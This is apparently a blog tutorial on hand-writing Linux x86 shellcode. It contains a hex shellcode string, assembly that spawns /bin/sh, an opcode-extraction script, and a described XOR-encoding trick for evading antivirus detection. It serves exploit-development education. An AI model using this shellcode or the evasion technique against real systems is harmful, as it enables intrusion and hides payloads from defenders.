Disclaimer: This post is only for education only and not for causing destruction to a lived system. Be smart!
In every exploit development process, the shellcode is one of the vital components to making your exploit reliable. Shellcode itself is just basically an assembly instruction that converted into opcodes (the hexadecimal thingy)
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89" "\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\xb3\x04\x52\x56" "\x89\xe1\xcd\x80\xb0\x66\x43\x89\x54\x24\x08\xcd" "\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b" "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x52\x53\xeb\xca";
that will instruct the program what to do next after the exploitation process is done
But when it comes to creating it not many people willing to devote their time to learn it, they rather to just used a precompiled shellcode for example that come from http://shell-storm.org/
because they think that is some kinda dark art that is too complicated to understand
I'm not saying that using a precompiled shellcode is bad you can use as freely as possible either for pentesting purposes or making some adjustment in your exploit.
But where is your hacking spirit? when you used something it is better to know how to build it and in the end, you can build your own shellcode without having to rely on the already available shellcode (which make you like a real hacker)
Well then if you just changed your mind to start writing shellcode after reading this post, then this post will help you to get started
we are going to take a look at how to make a simple, clean and fast shellcode in Linux 32 bit although there are many OS out there still the basic is just the same
I am warning you again this post is only for education only and not to harm any live system that is not your own okay ?! grow up !
To follow this tutorial you need two things: nasm and ld utility both of these tools used to compile the assembly code and linked it into a ELF
for a starter, I'm going just going to show you a simple shellcode that will spawn a shell in Linux
section .data
shell db "/bin/sh" //declare a string variable
section .text
global _start //declaring a main function like in c main()
_start: //this where our main code will be run
mov eax,0xb // fill eax register with 11 to fit our first param, 0xb/11 in linux means to execute execve()
mov ebx,shell // fill ebx register with /bin/sh string to fit our second param
mov ecx,0 // fill ecx register zero to fit the third param
int 0x80 // call syscall to execute execve with '/bin/sh' as its param
mov eax,1
mov ebx,0
int 0x80 //last three asm is just to make a clean exit
First, let's talk about the section part. There are 5 common segments or section in executable and each of this section have it's own task:
- Stack, to store value at runtime
- Heap, which is a dynamically allocated memory
- data, used to stored initialized variables
- bss, used to store uninitialized variable
- text, the actual code
the global _start part basically just tell the program to execute _start first like the main function
and inside _start it lies the code that will execute a shell for us. But how does the program know to execute a shell function?
we can use a syscall which is represented in assembly as int 0x80. Syscall simply just an interface between kernel to the user mode so every time we want to execute a function we need to call syscall
to execute a shell we need to pass the "execve()" function denotes as 11 => 0xb into the syscall, follow with the /bin/bash string. To pass the required parameters we need to insert it into register eax (for 1st param), ebx (for 2nd param) and ecx (for 3rd param)
like this:
mov eax,0xb // fill eax register with 11 to fit our first param, 0xb/11 in linux means to execute execve()
mov ebx,shell // fill ebx register with /bin/sh string to fit our second param
mov ecx,0 // fill ecx register zero to fit the third param
int 0x80 // call syscall to execute execve with '/bin/sh' as its param
what we doing here is we set the syscall to be like the following manner:
syscall(execve(), "/bin/bash",0)
with that arrangement, the program will execute the execve("/bin/bash") to spawn a shellcode and the last section is merely just make a clean exit.
you can see the opcode using objdump utility:
but if you try to use this opcode in your exploit it will 100% not work
why? we got a shell tho when we run it right?
yes but the opcodes consist with null bytes "\x00" that will terminate our shellcode right away and the string location of "/bin/sh" is hardcoded which will make it not reliable
so how can we address this problem? to deal with the null bytes you can use XOR operation and for the hardcoded location of the string you can either use relative addressing or using a stack. We will address this both approach in this post first let's start with the easiest one using a stack
Using a stack:
stack is just a section where you put temporary value when running your code, in order to interact with stack you need to use either pop or push instruction.here's how to incorporate stack and xor to get the optimal shellcode
1. xor eax,eax is to zeroed out the register eax
2. there are three push operation in this code, this is used to put the "/bin/bash" string in the stack and of course, we need to convert into hex value and turn it into the little-endian format and also don't forget this is a 32 bit so every register is worth 8 bytes
push eax
push 0x68732f2fpush 0x6e69622f
the following assembly code used string of "/bin//sh" as the parameter to spawn a shell and don't worry with the extra "/" this is just for alignment of the register so we have an even length of the variable so we can divide it to two registers and also don't forget we need to put a zero byte at the end of the string using the zeroed out EAX register
this code will set the stack in the following manner
-----------------------------------------
| 6e69622f | 68732f2f | 00 |
-----------------------------------------
1 2 3
then we mode the prepared stack to ebx using esp (esp is used to pointing to the top of the stack which is where our string reside)
next, we put a zero value to ecx register and lastly we put 0xb to the eax to tell the syscall we are using execve().
compile it and we are able to spawn a shell:
cool we got a shell to get the opcode so we can use it in an exploit I use this script to automatically convert the objdump result into opcode
#!/bin/bash
objdump -d $1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
put it into a file with .sh extension and make it executable
to test the opcode you can use the following c program:
Don't forget to turn off the NX function using -z execstack or you will get segmentation fault
ok good enough at least one of them said that this is malicious file many antivirus not consider this as malicious act since it only spawns a shell
Using a jump:
using a "jump" is similar to the previous technique so when the program is start it automatically jump to the "/bin//sh" string and spawn a shellusing this technique you don't have to convert the string to hex and little-endian format
notice from the example code we immediately jump to the gotocall function where our "/bin//sh" reside and then after the string is loaded to the stack we will pop the stack and put it into esp register
and the rest of the code will be the same as the previous section
compile it and we got a shell, to test it we need to dump the opcode again and put into the test_shell program again
as you can see although the program is getting a little bit bigger it still able to do the job.
Finally, if you try to put it into the virus total platform again you will get the same result lol
Can we bypass the detection so the shellcode is not marked as malicious code?
combining with everything we got, we can actually just mask the "/bin//sh" string using xor instruction and then when it executed in runtime it will automatically decode itself.
so first we need to the xored string of "/bin//sh"
I create this following python code to produce the string
using the script it will generate the xored value of the string and then we have to convert it into a little-endian format.
using the "shell1" assembly source code we can upgrade the program to be like this
as you can see in this code I just xored back again to its original value and put it back again onto the stack and at the end, I just need to call the syscall again
extract the shellcode again
update it again into the test_shell.c file and compile it again and finally we got a shell again
suprise suprise when we upload it to the virus total it says the program is clean
ok cool! that's all I can shared with you in this post. I suggest if you want to know more about how the shellcode work in a deeper sense you can load the shellcode into gdb and step through each of the code execution.
Thank you :)
references:
Shellcoder handbook 2nd edition
http://www.vividmachines.com/shellcode/shellcode.html
Comments
Post a Comment